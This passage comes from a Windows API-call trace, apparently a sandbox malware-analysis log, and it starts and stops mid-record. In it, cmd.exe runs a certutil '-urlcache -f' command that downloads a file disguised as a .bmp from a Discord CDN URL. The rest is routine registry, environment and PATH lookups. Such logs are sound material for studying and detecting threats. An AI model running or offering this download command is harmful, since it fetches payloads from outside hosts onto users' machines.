lpData=0xba1476ec30*=0x1, lpcbData=0xba1476ec14*=0x1000) returned 0x2 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x0, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x9, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x4, lpData=0xba1476ec30*=0x9, lpcbData=0xba1476ec14*=0x4) returned 0x0 [0125.914] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0xba1476ec10, lpData=0xba1476ec30, lpcbData=0xba1476ec14*=0x1000 | out: lpType=0xba1476ec10*=0x0, lpData=0xba1476ec30*=0x9, lpcbData=0xba1476ec14*=0x1000) returned 0x2 [0125.914] RegCloseKey (hKey=0x88) returned 0x0 [0125.914] time (in: timer=0x0 | out: timer=0x0) returned 0x5fae6b7b [0125.914] srand (_Seed=0x5fae6b7b) [0125.914] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp" [0125.914] malloc (_Size=0x4000) returned 0x1ec899154f0 [0125.915] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c certutil.exe -urlcache -f https://cdn.discordapp.com/attachments/774984872938569728/776088595525664809/wlp.bmp wal.bmp" [0125.915] malloc (_Size=0xffce) returned 0x1ec89520080 [0125.915] ??_V@YAXPEAX@Z () returned 0x1ec89520080 [0125.915] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ec89520080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0125.915] malloc (_Size=0xffce) returned 0x1ec89530060 [0125.916] ??_V@YAXPEAX@Z () returned 0x1ec89530060 [0125.916] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ec89530060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0125.916] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0125.916] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0125.916] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0125.916] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0125.916] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0125.916] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0125.916] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0125.916] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0125.916] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0125.916] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0125.916] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0125.916] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0125.917] GetProcessHeap () returned 0x1ec89620000 [0125.917] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec896265c0) returned 1 [0125.917] GetEnvironmentStringsW () returned 0x1ec89629040* [0125.917] GetProcessHeap () returned 0x1ec89620000 [0125.917] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xa94) returned 0x1ec89625b50 [0125.917] FreeEnvironmentStringsA (penv="A") returned 1 [0125.917] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0125.917] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0125.917] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0125.917] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0125.917] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0125.917] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0125.917] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0125.917] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0125.917] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0125.917] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0125.917] malloc (_Size=0xffce) returned 0x1ec89540040 [0125.917] ??_V@YAXPEAX@Z () returned 0x1ec89540040 [0125.918] GetProcessHeap () returned 0x1ec89620000 [0125.918] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x40) returned 0x1ec89620fc0 [0125.918] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ec89540040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0125.918] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1ec89540040, lpFilePart=0xba1476f790 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xba1476f790*="Desktop") returned 0x17 [0125.918] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0125.918] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xba1476f4c0 | out: lpFindFileData=0xba1476f4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1ec89621010 [0125.918] FindClose (in: hFindFile=0x1ec89621010 | out: hFindFile=0x1ec89621010) returned 1 [0125.918] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xba1476f4c0 | out: lpFindFileData=0xba1476f4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1ec89621010 [0125.919] FindClose (in: hFindFile=0x1ec89621010 | out: hFindFile=0x1ec89621010) returned 1 [0125.919] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xba1476f4c0 | out: lpFindFileData=0xba1476f4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xaf6d5045, ftLastAccessTime.dwHighDateTime=0x1d6b9ae, ftLastWriteTime.dwLowDateTime=0xaf6d5045, ftLastWriteTime.dwHighDateTime=0x1d6b9ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1ec89621010 [0125.919] FindClose (in: hFindFile=0x1ec89621010 | out: hFindFile=0x1ec89621010) returned 1 [0125.919] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0125.919] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0125.919] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0125.919] GetProcessHeap () returned 0x1ec89620000 [0125.919] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89625b50) returned 1 [0125.919] GetEnvironmentStringsW () returned 0x1ec89625b50* [0125.919] GetProcessHeap () returned 0x1ec89620000 [0125.919] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xacc) returned 0x1ec89626630 [0125.919] FreeEnvironmentStringsA (penv="=") returned 1 [0125.919] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ec89520080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0125.919] GetProcessHeap () returned 0x1ec89620000 [0125.919] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89620fc0) returned 1 [0125.919] ??_V@YAXPEAX@Z () returned 0x1 [0125.919] ??_V@YAXPEAX@Z () returned 0x1 [0125.919] GetProcessHeap () returned 0x1ec89620000 [0125.919] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x4016) returned 0x1ec89629b20 [0125.919] GetProcessHeap () returned 0x1ec89620000 [0125.919] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x102) returned 0x1ec89627110 [0125.920] GetProcessHeap () returned 0x1ec89620000 [0125.920] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89629b20) returned 1 [0125.920] GetConsoleOutputCP () returned 0x1b5 [0125.934] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6b336fbb0 | out: lpCPInfo=0x7ff6b336fbb0) returned 1 [0125.934] GetUserDefaultLCID () returned 0x409 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6b336bb78, cchData=8 | out: lpLCData=":") returned 2 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xba1476fb50, cchData=128 | out: lpLCData="0") returned 2 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xba1476fb50, cchData=128 | out: lpLCData="0") returned 2 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xba1476fb50, cchData=128 | out: lpLCData="1") returned 2 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6b336bb68, cchData=8 | out: lpLCData="/") returned 2 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6b336bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6b336bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6b336ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6b336ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6b336ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6b336b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6b336b980, cchData=32 | out: lpLCData="Sun") returned 4 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6b336bb58, cchData=8 | out: lpLCData=".") returned 2 [0125.934] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6b336bb40, cchData=8 | out: lpLCData=",") returned 2 [0125.934] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0125.935] GetProcessHeap () returned 0x1ec89620000 [0125.935] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x0, Size=0x20c) returned 0x1ec89627290 [0125.935] GetConsoleTitleW (in: lpConsoleTitle=0x1ec89627290, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0125.941] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff5ce90000 [0125.941] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="CopyFileExW") returned 0x7fff5ceae830 [0125.941] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="IsDebuggerPresent") returned 0x7fff5ceae300 [0125.941] GetProcAddress (hModule=0x7fff5ce90000, lpProcName="SetConsoleInputExeNameW") returned 0x7fff59f20a40 [0125.941] ??_V@YAXPEAX@Z () returned 0x1 [0125.942] GetProcessHeap () returned 0x1ec89620000 [0125.942] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x4012) returned 0x1ec89629b20 [0125.942] GetProcessHeap () returned 0x1ec89620000 [0125.942] RtlFreeHeap (HeapHandle=0x1ec89620000, Flags=0x0, BaseAddress=0x1ec89629b20) returned 1 [0125.943] _wcsicmp (_String1="certutil.exe", _String2=")") returned 58 [0125.943] _wcsicmp (_String1="FOR", _String2="certutil.exe") returned 3 [0125.943] _wcsicmp (_String1="FOR/?", _String2="certutil.exe") returned 3 [0125.943] _wcsicmp (_String1="IF", _String2="certutil.exe") returned 6 [0125.943] _wcsicmp (_String1="IF/?", _String2="certutil.exe") returned 6 [0125.943] _wcsicmp (_String1="REM", _String2="certutil.exe") returned 15 [0125.943] _wcsicmp (_String1="REM/?", _String2="certutil.exe") returned 15 [0125.943] GetProcessHeap () returned 0x1ec89620000 [0125.943] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xb0) returned 0x1ec896274b0 [0125.943] GetProcessHeap () returned 0x1ec89620000 [0125.943] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x2a) returned 0x1ec89627570 [0125.945] GetProcessHeap () returned 0x1ec89620000 [0125.945] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xe6) returned 0x1ec896275b0 [0125.945] GetConsoleTitleW (in: lpConsoleTitle=0xba1476fa40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0125.946] malloc (_Size=0xffce) returned 0x1ec89530060 [0125.946] ??_V@YAXPEAX@Z () returned 0x1ec89530060 [0125.946] malloc (_Size=0xffce) returned 0x1ec89540040 [0125.946] ??_V@YAXPEAX@Z () returned 0x1ec89540040 [0125.947] GetFileAttributesW (lpFileName="certutil.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\certutil.exe")) returned 0xffffffff [0125.947] _wcsicmp (_String1="certutil", _String2="DIR") returned -1 [0125.947] _wcsicmp (_String1="certutil", _String2="ERASE") returned -2 [0125.947] _wcsicmp (_String1="certutil", _String2="DEL") returned -1 [0125.947] _wcsicmp (_String1="certutil", _String2="TYPE") returned -17 [0125.947] _wcsicmp (_String1="certutil", _String2="COPY") returned -10 [0125.947] _wcsicmp (_String1="certutil", _String2="CD") returned 1 [0125.947] _wcsicmp (_String1="certutil", _String2="CHDIR") returned -3 [0125.947] _wcsicmp (_String1="certutil", _String2="RENAME") returned -15 [0125.947] _wcsicmp (_String1="certutil", _String2="REN") returned -15 [0125.947] _wcsicmp (_String1="certutil", _String2="ECHO") returned -2 [0125.947] _wcsicmp (_String1="certutil", _String2="SET") returned -16 [0125.947] _wcsicmp (_String1="certutil", _String2="PAUSE") returned -13 [0125.947] _wcsicmp (_String1="certutil", _String2="DATE") returned -1 [0125.947] _wcsicmp (_String1="certutil", _String2="TIME") returned -17 [0125.947] _wcsicmp (_String1="certutil", _String2="PROMPT") returned -13 [0125.947] _wcsicmp (_String1="certutil", _String2="MD") returned -10 [0125.947] _wcsicmp (_String1="certutil", _String2="MKDIR") returned -10 [0125.947] _wcsicmp (_String1="certutil", _String2="RD") returned -15 [0125.947] _wcsicmp (_String1="certutil", _String2="RMDIR") returned -15 [0125.947] _wcsicmp (_String1="certutil", _String2="PATH") returned -13 [0125.947] _wcsicmp (_String1="certutil", _String2="GOTO") returned -4 [0125.947] _wcsicmp (_String1="certutil", _String2="SHIFT") returned -16 [0125.947] _wcsicmp (_String1="certutil", _String2="CLS") returned -7 [0125.947] _wcsicmp (_String1="certutil", _String2="CALL") returned 4 [0125.947] _wcsicmp (_String1="certutil", _String2="VERIFY") returned -19 [0125.947] _wcsicmp (_String1="certutil", _String2="VER") returned -19 [0125.947] _wcsicmp (_String1="certutil", _String2="VOL") returned -19 [0125.947] _wcsicmp (_String1="certutil", _String2="EXIT") returned -2 [0125.947] _wcsicmp (_String1="certutil", _String2="SETLOCAL") returned -16 [0125.947] _wcsicmp (_String1="certutil", _String2="ENDLOCAL") returned -2 [0125.947] _wcsicmp (_String1="certutil", _String2="TITLE") returned -17 [0125.948] _wcsicmp (_String1="certutil", _String2="START") returned -16 [0125.948] _wcsicmp (_String1="certutil", _String2="DPATH") returned -1 [0125.948] _wcsicmp (_String1="certutil", _String2="KEYS") returned -8 [0125.948] _wcsicmp (_String1="certutil", _String2="MOVE") returned -10 [0125.948] _wcsicmp (_String1="certutil", _String2="PUSHD") returned -13 [0125.948] _wcsicmp (_String1="certutil", _String2="POPD") returned -13 [0125.948] _wcsicmp (_String1="certutil", _String2="ASSOC") returned 2 [0125.948] _wcsicmp (_String1="certutil", _String2="FTYPE") returned -3 [0125.948] _wcsicmp (_String1="certutil", _String2="BREAK") returned 1 [0125.948] _wcsicmp (_String1="certutil", _String2="COLOR") returned -10 [0125.948] _wcsicmp (_String1="certutil", _String2="MKLINK") returned -10 [0125.948] _wcsicmp (_String1="certutil", _String2="DIR") returned -1 [0125.948] _wcsicmp (_String1="certutil", _String2="ERASE") returned -2 [0125.948] _wcsicmp (_String1="certutil", _String2="DEL") returned -1 [0125.948] _wcsicmp (_String1="certutil", _String2="TYPE") returned -17 [0125.948] _wcsicmp (_String1="certutil", _String2="COPY") returned -10 [0125.948] _wcsicmp (_String1="certutil", _String2="CD") returned 1 [0125.948] _wcsicmp (_String1="certutil", _String2="CHDIR") returned -3 [0125.948] _wcsicmp (_String1="certutil", _String2="RENAME") returned -15 [0125.948] _wcsicmp (_String1="certutil", _String2="REN") returned -15 [0125.948] _wcsicmp (_String1="certutil", _String2="ECHO") returned -2 [0125.948] _wcsicmp (_String1="certutil", _String2="SET") returned -16 [0125.948] _wcsicmp (_String1="certutil", _String2="PAUSE") returned -13 [0125.948] _wcsicmp (_String1="certutil", _String2="DATE") returned -1 [0125.948] _wcsicmp (_String1="certutil", _String2="TIME") returned -17 [0125.948] _wcsicmp (_String1="certutil", _String2="PROMPT") returned -13 [0125.948] _wcsicmp (_String1="certutil", _String2="MD") returned -10 [0125.948] _wcsicmp (_String1="certutil", _String2="MKDIR") returned -10 [0125.948] _wcsicmp (_String1="certutil", _String2="RD") returned -15 [0125.948] _wcsicmp (_String1="certutil", _String2="RMDIR") returned -15 [0125.948] _wcsicmp (_String1="certutil", _String2="PATH") returned -13 [0125.948] _wcsicmp (_String1="certutil", _String2="GOTO") returned -4 [0125.948] _wcsicmp (_String1="certutil", _String2="SHIFT") returned -16 [0125.948] _wcsicmp (_String1="certutil", _String2="CLS") returned -7 [0125.948] _wcsicmp (_String1="certutil", _String2="CALL") returned 4 [0125.949] _wcsicmp (_String1="certutil", _String2="VERIFY") returned -19 [0125.949] _wcsicmp (_String1="certutil", _String2="VER") returned -19 [0125.949] _wcsicmp (_String1="certutil", _String2="VOL") returned -19 [0125.949] _wcsicmp (_String1="certutil", _String2="EXIT") returned -2 [0125.949] _wcsicmp (_String1="certutil", _String2="SETLOCAL") returned -16 [0125.949] _wcsicmp (_String1="certutil", _String2="ENDLOCAL") returned -2 [0125.949] _wcsicmp (_String1="certutil", _String2="TITLE") returned -17 [0125.949] _wcsicmp (_String1="certutil", _String2="START") returned -16 [0125.949] _wcsicmp (_String1="certutil", _String2="DPATH") returned -1 [0125.949] _wcsicmp (_String1="certutil", _String2="KEYS") returned -8 [0125.949] _wcsicmp (_String1="certutil", _String2="MOVE") returned -10 [0125.949] _wcsicmp (_String1="certutil", _String2="PUSHD") returned -13 [0125.949] _wcsicmp (_String1="certutil", _String2="POPD") returned -13 [0125.949] _wcsicmp (_String1="certutil", _String2="ASSOC") returned 2 [0125.949] _wcsicmp (_String1="certutil", _String2="FTYPE") returned -3 [0125.949] _wcsicmp (_String1="certutil", _String2="BREAK") returned 1 [0125.949] _wcsicmp (_String1="certutil", _String2="COLOR") returned -10 [0125.949] _wcsicmp (_String1="certutil", _String2="MKLINK") returned -10 [0125.949] _wcsicmp (_String1="certutil", _String2="FOR") returned -3 [0125.949] _wcsicmp (_String1="certutil", _String2="IF") returned -6 [0125.949] _wcsicmp (_String1="certutil", _String2="REM") returned -15 [0125.949] ??_V@YAXPEAX@Z () returned 0x1 [0125.949] GetProcessHeap () returned 0x1ec89620000 [0125.949] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xffde) returned 0x1ec89629b20 [0125.950] GetProcessHeap () returned 0x1ec89620000 [0125.950] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x100) returned 0x1ec896276a0 [0125.950] _wcsnicmp (_String1="cert", _String2="cmd ", _MaxCount=0x4) returned -8 [0125.950] malloc (_Size=0xffce) returned 0x1ec89540040 [0125.950] ??_V@YAXPEAX@Z () returned 0x1ec89540040 [0125.950] GetProcessHeap () returned 0x1ec89620000 [0125.950] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x1ffac) returned 0x1ec89639b10 [0125.951] SetErrorMode (uMode=0x0) returned 0x0 [0125.951] SetErrorMode (uMode=0x1) returned 0x0 [0125.951] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1ec89639b20, lpFilePart=0xba1476f2c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xba1476f2c0*="Desktop") returned 0x17 [0125.951] SetErrorMode (uMode=0x0) returned 0x1 [0125.951] GetProcessHeap () returned 0x1ec89620000 [0125.952] RtlReAllocateHeap (Heap=0x1ec89620000, Flags=0x0, Ptr=0x1ec89639b10, Size=0x5a) returned 0x1ec89639b10 [0125.952] GetProcessHeap () returned 0x1ec89620000 [0125.952] RtlSizeHeap (HeapHandle=0x1ec89620000, Flags=0x0, MemoryPointer=0x1ec89639b10) returned 0x5a [0125.952] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0125.952] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0125.952] GetProcessHeap () returned 0x1ec89620000 [0125.952] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x1bc) returned 0x1ec896277b0 [0125.952] GetProcessHeap () returned 0x1ec89620000 [0125.952] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x368) returned 0x1ec89620fc0 [0125.956] GetProcessHeap () returned 0x1ec89620000 [0125.956] RtlReAllocateHeap (Heap=0x1ec89620000, Flags=0x0, Ptr=0x1ec89620fc0, Size=0x1be) returned 0x1ec89620fc0 [0125.956] GetProcessHeap () returned 0x1ec89620000 [0125.956] RtlSizeHeap (HeapHandle=0x1ec89620000, Flags=0x0, MemoryPointer=0x1ec89620fc0) returned 0x1be [0125.956] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6b336bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0125.956] GetProcessHeap () returned 0x1ec89620000 [0125.956] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0xe8) returned 0x1ec89627980 [0125.956] GetProcessHeap () returned 0x1ec89620000 [0125.956] RtlReAllocateHeap (Heap=0x1ec89620000, Flags=0x0, Ptr=0x1ec89627980, Size=0x7e) returned 0x1ec89627980 [0125.956] GetProcessHeap () returned 0x1ec89620000 [0125.956] RtlSizeHeap (HeapHandle=0x1ec89620000, Flags=0x0, MemoryPointer=0x1ec89627980) returned 0x7e [0125.957] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.957] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\certutil.exe", fInfoLevelId=0x1, lpFindFileData=0xba1476f030, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xba1476f030) returned 0xffffffffffffffff [0125.957] GetLastError () returned 0x2 [0125.957] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\certutil.exe.*", fInfoLevelId=0x1, lpFindFileData=0xba1476f030, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xba1476f030) returned 0xffffffffffffffff [0125.957] GetLastError () returned 0x2 [0125.957] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.957] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\certutil.exe", fInfoLevelId=0x1, lpFindFileData=0xba1476f030, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xba1476f030) returned 0xffffffffffffffff [0125.959] GetLastError () returned 0x2 [0125.959] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\certutil.exe.*", fInfoLevelId=0x1, lpFindFileData=0xba1476f030, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xba1476f030) returned 0xffffffffffffffff [0125.959] GetLastError () returned 0x2 [0125.959] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0125.959] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\certutil.exe", fInfoLevelId=0x1, lpFindFileData=0xba1476f030, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xba1476f030) returned 0x1ec89627a10 [0125.959] GetProcessHeap () returned 0x1ec89620000 [0125.959] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x0, Size=0x28) returned 0x1ec89627a70 [0125.959] FindClose (in: hFindFile=0x1ec89627a10 | out: hFindFile=0x1ec89627a10) returned 1 [0125.959] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0125.959] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0125.959] ??_V@YAXPEAX@Z () returned 0x1 [0125.959] GetConsoleTitleW (in: lpConsoleTitle=0xba1476f5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0125.960] InitializeProcThreadAttributeList (in: lpAttributeList=0xba1476f4d0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xba1476f3c0 | out: lpAttributeList=0xba1476f4d0, lpSize=0xba1476f3c0) returned 1 [0125.960] UpdateProcThreadAttribute (in: lpAttributeList=0xba1476f4d0, dwFlags=0x0, Attribute=0x60001, lpValue=0xba1476f3ac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xba1476f4d0, lpPreviousValue=0x0) returned 1 [0125.960] GetStartupInfoW (in: lpStartupInfo=0xba1476f460 | out: lpStartupInfo=0xba1476f460*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0125.960] GetProcessHeap () returned 0x1ec89620000 [0125.960] RtlAllocateHeap (HeapHandle=0x1ec89620000, Flags=0x8, Size=0x20) returned 0x1ec89627aa0 [0125.960] _wcsnicmp 